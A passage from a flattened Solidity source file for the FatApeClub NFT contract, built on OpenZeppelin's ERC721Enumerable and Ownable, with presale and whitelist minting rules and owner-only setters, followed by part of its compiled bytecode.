{IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/FatApeClub.sol pragma solidity >=0.7.0 <0.9.0; contract FatApeClub is ERC721Enumerable, Ownable { using Strings for uint256; string private baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public preSaleCost = 0.1 ether; uint256 public cost = 0.3 ether; uint256 public maxSupply = 9999; uint256 public preSaleMaxSupply = 2150; uint256 public maxMintAmountPresale = 1; uint256 public maxMintAmount = 10; uint256 public nftPerAddressLimitPresale = 1; uint256 public nftPerAddressLimit = 100; uint256 public preSaleDate = 1635710400; uint256 public preSaleEndDate = 1635775200; uint256 public publicSaleDate = 1635814800; bool public paused = false; bool public revealed = false; mapping(address => bool) whitelistedAddresses; mapping(address => uint256) public addressMintedBalance; constructor(string memory _name, string memory _symbol, string memory _initNotRevealedUri) ERC721(_name, _symbol) { setNotRevealedURI(_initNotRevealedUri); } //MODIFIERS modifier notPaused { require(!paused, "the contract is paused"); _; } modifier saleStarted { require(block.timestamp >= preSaleDate, "Sale has not started yet"); _; } modifier minimumMintAmount(uint256 _mintAmount) { require(_mintAmount > 0, "need to mint at least 1 NFT"); _; } // INTERNAL function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function presaleValidations(uint256 _ownerMintedCount, uint256 _mintAmount, uint256 _supply) internal { uint256 actualCost; block.timestamp < preSaleEndDate ? actualCost = preSaleCost : actualCost = cost; require(isWhitelisted(msg.sender), "user is not whitelisted"); require(_ownerMintedCount + _mintAmount <= nftPerAddressLimitPresale, "max NFT per address exceeded for presale"); require(msg.value >= actualCost * _mintAmount, "insufficient funds"); require(_mintAmount <= maxMintAmountPresale,"max mint amount per transaction exceeded"); require(_supply + _mintAmount <= preSaleMaxSupply,"max NFT presale limit exceeded"); } function publicsaleValidations(uint256 _ownerMintedCount, uint256 _mintAmount) internal { require(_ownerMintedCount + _mintAmount <= nftPerAddressLimit,"max NFT per address exceeded"); require(msg.value >= cost * _mintAmount, "insufficient funds"); require(_mintAmount <= maxMintAmount,"max mint amount per transaction exceeded"); } //MINT function mint(uint256 _mintAmount) public payable notPaused saleStarted minimumMintAmount(_mintAmount) { uint256 supply = totalSupply(); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; //Do some validations depending on which step of the sale we are in block.timestamp < publicSaleDate ? presaleValidations(ownerMintedCount, _mintAmount, supply) : publicsaleValidations(ownerMintedCount, _mintAmount); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, supply + i); } } function gift(uint256 _mintAmount, address destination) public onlyOwner { require(_mintAmount > 0, "need to mint at least 1 NFT"); uint256 supply = totalSupply(); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[destination]++; _safeMint(destination, supply + i); } } //PUBLIC VIEWS function isWhitelisted(address _user) public view returns (bool) { return whitelistedAddresses[_user]; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if (!revealed) { return notRevealedUri; } else { string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI,tokenId.toString(), baseExtension)) : ""; } } function getCurrentCost() public view returns (uint256) { if (block.timestamp < preSaleEndDate) { return preSaleCost; } else { return cost; } } //ONLY OWNER VIEWS function getBaseURI() public view onlyOwner returns (string memory) { return baseURI; } function getContractBalance() public view onlyOwner returns (uint256) { return address(this).balance; } //ONLY OWNER SETTERS function reveal() public onlyOwner { revealed = true; } function pause(bool _state) public onlyOwner { paused = _state; } function setNftPerAddressLimitPreSale(uint256 _limit) public onlyOwner { nftPerAddressLimitPresale = _limit; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setPresaleCost(uint256 _newCost) public onlyOwner { preSaleCost = _newCost; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmountPreSale(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmountPresale = _newmaxMintAmount; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setPresaleMaxSupply(uint256 _newPresaleMaxSupply) public onlyOwner { preSaleMaxSupply = _newPresaleMaxSupply; } function setMaxSupply(uint256 _maxSupply) public onlyOwner { maxSupply = _maxSupply; } function setPreSaleDate(uint256 _preSaleDate) public onlyOwner { preSaleDate = _preSaleDate; } function setPreSaleEndDate(uint256 _preSaleEndDate) public onlyOwner { preSaleEndDate = _preSaleEndDate; } function setPublicSaleDate(uint256 _publicSaleDate) public onlyOwner { publicSaleDate = _publicSaleDate; } function whitelistUsers(address[] memory addresses) public onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { whitelistedAddresses[addresses[i]] = true; } } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
0x6080604052600436106103975760003560e01c80636f9fb98a116101dc578063a22cb46511610102578063d0eb26b0116100a0578063eced38731161006f578063eced387314610d4a578063edec5f2714610d75578063f2c4ce1e14610d9e578063f2fde38b14610dc757610397565b8063d0eb26b014610c90578063d5abeb0114610cb9578063da3ef23f14610ce4578063e985e9c514610d0d57610397565b8063ba7d2c76116100dc578063ba7d2c7614610bd2578063c668286214610bfd578063c87b56dd14610c28578063cc9ff9c614610c6557610397565b8063a22cb46514610b69578063a475b5dd14610b92578063b88d4fde14610ba957610397565b80637f00c7a61161017a5780638fdcf942116101495780638fdcf94214610ace57806395d89b4114610af7578063a0712d6814610b22578063a18116f114610b3e57610397565b80637f00c7a614610a26578063831e60de14610a4f57806383a076be14610a7a5780638da5cb5b14610aa357610397565b8063715018a6116101b6578063715018a614610990578063743c7f6b146109a75780637967a50a146109d05780637effc032146109fb57610397565b80636f9fb98a146108fd57806370a0823114610928578063714c53981461096557610397565b80632e09282e116102c157806344a0d68a1161025f5780635c975abb1161022e5780635c975abb146108435780636352211e1461086e578063669736c0146108ab5780636f8b44b0146108d457610397565b806344a0d68a146107895780634f6ccce7146107b257806351830227146107ef57806355f804b31461081a57610397565b80633ccfd60b1161029b5780633ccfd60b146106f057806342842e0e146106fa57806342f0ca0d14610723578063438b63001461074c57610397565b80632e09282e1461064b5780632f745c59146106765780633af32abf146106b357610397565b80630a50716b1161033957806318cae2691161030857806318cae2691461058f5780631985cc65146105cc578063239c70ae146105f757806323b872dd1461062257610397565b80630a50716b146104e75780630e54a8831461051057806313faede61461053957806318160ddd1461056457610397565b8063081812fc11610375578063081812fc1461042d578063081c8c441461046a578063095ea7b3146104955780630a403f04146104be57610397565b806301ffc9a71461039c57806302329a29146103d957806306fdde0314610402575b600080fd5b3480156103a857600080fd5b506103c360048036038101906103be91906145cb565b610df0565b6040516103d091906152e0565b60405180910390f35b3480156103e557600080fd5b5061040060048036038101906103fb91906145a2565b610e6a565b005b34801561040e57600080fd5b50610417610f03565b60405161042491906152fb565b60405180910390f35b34801561043957600080fd5b50610454600480360381019061044f919061465e565b610f95565b6040516104619190615257565b60405180910390f35b34801561047657600080fd5b5061047f61101a565b60405161048c91906152fb565b60405180910390f35b3480156104a157600080fd5b506104bc60048036038101906104b79190614525565b6110a8565b005b3480156104ca57600080fd5b506104e560048036038101906104e0919061465e565b6111c0565b005b3480156104f357600080fd5b5061050e6004803603810190610509919061465e565b611246565b005b34801561051c57600080fd5b506105376004803603810190610532919061465e565b6112cc565b005b34801561054557600080fd5b5061054e611352565b60405161055b919061569d565b60405180910390f35b34801561057057600080fd5b50610579611358565b604051610586919061569d565b60405180910390f35b34801561059b57600080fd5b506105b660048036038101906105b191906143ba565b611365565b6040516105c3919061569d565b60405180910390f35b3480156105d857600080fd5b506105e161137d565b6040516105ee919061569d565b60405180910390f35b34801561060357600080fd5b5061060c611383565b604051610619919061569d565b60405180910390f35b34801561062e57600080fd5b506106496004803603810190610644919061441f565b611389565b005b34801561065757600080fd5b506106606113e9565b60405161066d919061569d565b60405180910390f35b34801561068257600080fd5b5061069d60048036038101906106989190614525565b6113ef565b6040516106aa919061569d565b60405180910390f35b3480156106bf57600080fd5b506106da60048036038101906106d591906143ba565b611494565b6040516106e791906152e0565b60405180910390f35b6106f86114ea565b005b34801561070657600080fd5b50610721600480360381019061071c919061441f565b6115df565b005b34801561072f57600080fd5b5061074a6004803603810190610745919061465e565b6115ff565b005b34801561075857600080fd5b50610773600480360381019061076e91906143ba565b611685565b60405161078091906152be565b60405180910390f35b34801561079557600080fd5b506107b060048036038101906107ab919061465e565b61177f565b005b3480156107be57600080fd5b506107d960048036038101906107d4919061465e565b611805565b6040516107e6919061569d565b60405180910390f35b3480156107fb57600080fd5b5061080461189c565b60405161081191906152e0565b60405180910390f35b34801561082657600080fd5b50610841600480360381019061083c919061461d565b6118af565b005b34801561084f57600080fd5b50610858611945565b60405161086591906152e0565b60405180910390f35b34801561087a57600080fd5b506108956004803603810190610890919061465e565b611958565b6040516108a29190615257565b60405180910390f35b3480156108b757600080fd5b506108d260048036038101906108cd919061465e565b611a0a565b005b3480156108e057600080fd5b506108fb60048036038101906108f6919061465e565b611a90565b005b34801561090957600080fd5b50610912611b16565b60405161091f919061569d565b60405180910390f35b34801561093457600080fd5b5061094f600480360381019061094a91906143ba565b611b9a565b60405161095c919061569d565b60405180910390f35b34801561097157600080fd5b5061097a611c52565b60405161098791906152fb565b60405180910390f35b34801561099c57600080fd5b506109a5611d60565b005b3480156109b357600080fd5b506109ce60048036038101906109c9919061465e565b611de8565b005b3480156109dc57600080fd5b506109e5611e6e565b6040516109f2919061569d565b60405180910390f35b348015610a0757600080fd5b50610a10611e74565b604051610a1d919061569d565b60405180910390f35b348015610a3257600080fd5b50610a4d6004803603810190610a48919061465e565b611e7a565b005b348015610a5b57600080fd5b50610a64611f00565b604051610a71919061569d565b60405180910390f35b348015610a8657600080fd5b50610aa16004803603810190610a9c9190614687565b611f1f565b005b348015610aaf57600080fd5b50610ab86120cb565b604051610ac59190615257565b60405180910390f35b348015610ada57600080fd5b50610af56004803603810190610af0919061465e565b6120f5565b005b348015610b0357600080fd5b50610b0c61217b565b604051610b1991906152fb565b60405180910390f35b610b3c6004803603810190610b37919061465e565b61220d565b005b348015610b4a57600080fd5b50610b5361243c565b604051610b60919061569d565b60405180910390f35b348015610b7557600080fd5b50610b906004803603810190610b8b91906144e9565b612442565b005b348015610b9e57600080fd5b50610ba76125c3565b005b348015610bb557600080fd5b50610bd06004803603810190610bcb919061446e565b61265c565b005b348015610bde57600080fd5b50610be76126be565b604051610bf4919061569d565b60405180910390f35b348015610c0957600080fd5b50610c126126c4565b604051610c1f91906152fb565b60405180910390f35b348015610c3457600080fd5b50610c4f6004803603810190610c4a919061465e565b612752565b604051610c5c91906152fb565b60405180910390f35b348015610c7157600080fd5b50610c7a6128a3565b604051610c87919061569d565b60405180910390f35b348015610c9c57600080fd5b50610cb76004803603810190610cb2919061465e565b6128a9565b005b348015610cc557600080fd5b50610cce61292f565b604051610cdb919061569d565b60405180910390f35b348015610cf057600080fd5b50610d0b6004803603810190610d06919061461d565b612935565b005b348015610d1957600080fd5b50610d346004803603810190610d2f91906143e3565b6129cb565b604051610d4191906152e0565b60405180910390f35b348015610d5657600080fd5b50610d5f612a5f565b604051610d6c919061569d565b60405180910390f35b348015610d8157600080fd5b50610d9c6004803603810190610d979190614561565b612a65565b005b348015610daa57600080fd5b50610dc56004803603810190610dc0919061461d565b612b9c565b005b348015610dd357600080fd5b50610dee6004803603810190610de991906143ba565b612c32565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610e635750610e6282612d2a565b5b9050919050565b610e72612e0c565b73ffffffffffffffffffffffffffffffffffffffff16610e906120cb565b73ffffffffffffffffffffffffffffffffffffffff1614610ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edd9061551d565b60405180910390fd5b80601960006101000a81548160ff02191690831515021790555050565b606060008054610f12906159dc565b80601f0160208091040260200160405190810160405280929190818152602001828054610f3e906159dc565b8015610f8b5780601f10610f6057610100808354040283529160200191610f8b565b820191906000526020600020905b815481529060010190602001808311610f6e57829003601f168201915b5050505050905090565b6000610fa082612e14565b610fdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd6906154fd565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600d8054611027906159dc565b80601f0160208091040260200160405190810160405280929190818152602001828054611053906159dc565b80156110a05780601f10611075576101008083540402835291602001916110a0565b820191906000526020600020905b81548152906001019060200180831161108357829003601f168201915b505050505081565b60006110b382611958565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111b906155bd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16611143612e0c565b73ffffffffffffffffffffffffffffffffffffffff16148061117257506111718161116c612e0c565b6129cb565b5b6111b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a89061545d565b60405180910390fd5b6111bb8383612e80565b505050565b6111c8612e0c565b73ffffffffffffffffffffffffffffffffffffffff166111e66120cb565b73ffffffffffffffffffffffffffffffffffffffff161461123c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112339061551d565b60405180910390fd5b8060118190555050565b61124e612e0c565b73ffffffffffffffffffffffffffffffffffffffff1661126c6120cb565b73ffffffffffffffffffffffffffffffffffffffff16146112c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b99061551d565b60405180910390fd5b8060148190555050565b6112d4612e0c565b73ffffffffffffffffffffffffffffffffffffffff166112f26120cb565b73ffffffffffffffffffffffffffffffffffffffff1614611348576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133f9061551d565b60405180910390fd5b8060188190555050565b600f5481565b6000600880549050905090565b601b6020528060005260406000206000915090505481565b60165481565b60135481565b61139a611394612e0c565b82612f39565b6113d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d09061561d565b60405180910390fd5b6113e4838383613017565b505050565b60145481565b60006113fa83611b9a565b821061143b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114329061533d565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b6000601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6114f2612e0c565b73ffffffffffffffffffffffffffffffffffffffff166115106120cb565b73ffffffffffffffffffffffffffffffffffffffff1614611566576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155d9061551d565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff164760405161158c90615242565b60006040518083038185875af1925050503d80600081146115c9576040519150601f19603f3d011682016040523d82523d6000602084013e6115ce565b606091505b50509050806115dc57600080fd5b50565b6115fa8383836040518060200160405280600081525061265c565b505050565b611607612e0c565b73ffffffffffffffffffffffffffffffffffffffff166116256120cb565b73ffffffffffffffffffffffffffffffffffffffff161461167b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116729061551d565b60405180910390fd5b8060178190555050565b6060600061169283611b9a565b905060008167ffffffffffffffff8111156116d6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156117045781602001602082028036833780820191505090505b50905060005b828110156117745761171c85826113ef565b828281518110611755577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018181525050808061176c90615a0e565b91505061170a565b508092505050919050565b611787612e0c565b73ffffffffffffffffffffffffffffffffffffffff166117a56120cb565b73ffffffffffffffffffffffffffffffffffffffff16146117fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f29061551d565b60405180910390fd5b80600f8190555050565b600061180f611358565b8210611850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118479061563d565b60405180910390fd5b6008828154811061188a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b601960019054906101000a900460ff1681565b6118b7612e0c565b73ffffffffffffffffffffffffffffffffffffffff166118d56120cb565b73ffffffffffffffffffffffffffffffffffffffff161461192b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119229061551d565b60405180910390fd5b80600b9080519060200190611941929190614148565b5050565b601960009054906101000a900460ff1681565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f89061549d565b60405180910390fd5b80915050919050565b611a12612e0c565b73ffffffffffffffffffffffffffffffffffffffff16611a306120cb565b73ffffffffffffffffffffffffffffffffffffffff1614611a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7d9061551d565b60405180910390fd5b8060128190555050565b611a98612e0c565b73ffffffffffffffffffffffffffffffffffffffff16611ab66120cb565b73ffffffffffffffffffffffffffffffffffffffff1614611b0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b039061551d565b60405180910390fd5b8060108190555050565b6000611b20612e0c565b73ffffffffffffffffffffffffffffffffffffffff16611b3e6120cb565b73ffffffffffffffffffffffffffffffffffffffff1614611b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8b9061551d565b60405180910390fd5b47905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c029061547d565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060611c5c612e0c565b73ffffffffffffffffffffffffffffffffffffffff16611c7a6120cb565b73ffffffffffffffffffffffffffffffffffffffff1614611cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc79061551d565b60405180910390fd5b600b8054611cdd906159dc565b80601f0160208091040260200160405190810160405280929190818152602001828054611d09906159dc565b8015611d565780601f10611d2b57610100808354040283529160200191611d56565b820191906000526020600020905b815481529060010190602001808311611d3957829003601f168201915b5050505050905090565b611d68612e0c565b73ffffffffffffffffffffffffffffffffffffffff16611d866120cb565b73ffffffffffffffffffffffffffffffffffffffff1614611ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd39061551d565b60405180910390fd5b611de66000613273565b565b611df0612e0c565b73ffffffffffffffffffffffffffffffffffffffff16611e0e6120cb565b73ffffffffffffffffffffffffffffffffffffffff1614611e64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5b9061551d565b60405180910390fd5b8060168190555050565b60175481565b60125481565b611e82612e0c565b73ffffffffffffffffffffffffffffffffffffffff16611ea06120cb565b73ffffffffffffffffffffffffffffffffffffffff1614611ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eed9061551d565b60405180910390fd5b8060138190555050565b6000601754421015611f1657600e549050611f1c565b600f5490505b90565b611f27612e0c565b73ffffffffffffffffffffffffffffffffffffffff16611f456120cb565b73ffffffffffffffffffffffffffffffffffffffff1614611f9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f929061551d565b60405180910390fd5b60008211611fde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd59061567d565b60405180910390fd5b6000611fe8611358565b90506010548382611ff99190615811565b111561203a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612031906154bd565b60405180910390fd5b6000600190505b8381116120c557601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061209890615a0e565b91905055506120b28382846120ad9190615811565b613339565b80806120bd90615a0e565b915050612041565b50505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6120fd612e0c565b73ffffffffffffffffffffffffffffffffffffffff1661211b6120cb565b73ffffffffffffffffffffffffffffffffffffffff1614612171576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121689061551d565b60405180910390fd5b80600e8190555050565b60606001805461218a906159dc565b80601f01602080910402602001604051908101604052809291908181526020018280546121b6906159dc565b80156122035780601f106121d857610100808354040283529160200191612203565b820191906000526020600020905b8154815290600101906020018083116121e657829003601f168201915b5050505050905090565b601960009054906101000a900460ff161561225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549061553d565b60405180910390fd5b6016544210156122a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122999061531d565b60405180910390fd5b80600081116122e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122dd9061567d565b60405180910390fd5b60006122f0611358565b90506000601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050601854421061234e576123498185613357565b61235a565b612359818584613440565b5b60105484836123699190615811565b11156123aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a1906154bd565b60405180910390fd5b6000600190505b84811161243557601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061240890615a0e565b919050555061242233828561241d9190615811565b613339565b808061242d90615a0e565b9150506123b1565b5050505050565b60115481565b61244a612e0c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124af906153fd565b60405180910390fd5b80600560006124c5612e0c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16612572612e0c565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516125b791906152e0565b60405180910390a35050565b6125cb612e0c565b73ffffffffffffffffffffffffffffffffffffffff166125e96120cb565b73ffffffffffffffffffffffffffffffffffffffff161461263f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126369061551d565b60405180910390fd5b6001601960016101000a81548160ff021916908315150217905550565b61266d612667612e0c565b83612f39565b6126ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a39061561d565b60405180910390fd5b6126b8848484846135df565b50505050565b60155481565b600c80546126d1906159dc565b80601f01602080910402602001604051908101604052809291908181526020018280546126fd906159dc565b801561274a5780601f1061271f5761010080835404028352916020019161274a565b820191906000526020600020905b81548152906001019060200180831161272d57829003601f168201915b505050505081565b606061275d82612e14565b61279c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127939061559d565b60405180910390fd5b601960019054906101000a900460ff1661284257600d80546127bd906159dc565b80601f01602080910402602001604051908101604052809291908181526020018280546127e9906159dc565b80156128365780601f1061280b57610100808354040283529160200191612836565b820191906000526020600020905b81548152906001019060200180831161281957829003601f168201915b5050505050905061289e565b600061284c61363b565b9050600081511161286c576040518060200160405280600081525061289a565b80612876846136cd565b600c60405160200161288a93929190615211565b6040516020818303038152906040525b9150505b919050565b600e5481565b6128b1612e0c565b73ffffffffffffffffffffffffffffffffffffffff166128cf6120cb565b73ffffffffffffffffffffffffffffffffffffffff1614612925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291c9061551d565b60405180910390fd5b8060158190555050565b60105481565b61293d612e0c565b73ffffffffffffffffffffffffffffffffffffffff1661295b6120cb565b73ffffffffffffffffffffffffffffffffffffffff16146129b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a89061551d565b60405180910390fd5b80600c90805190602001906129c7929190614148565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905490610100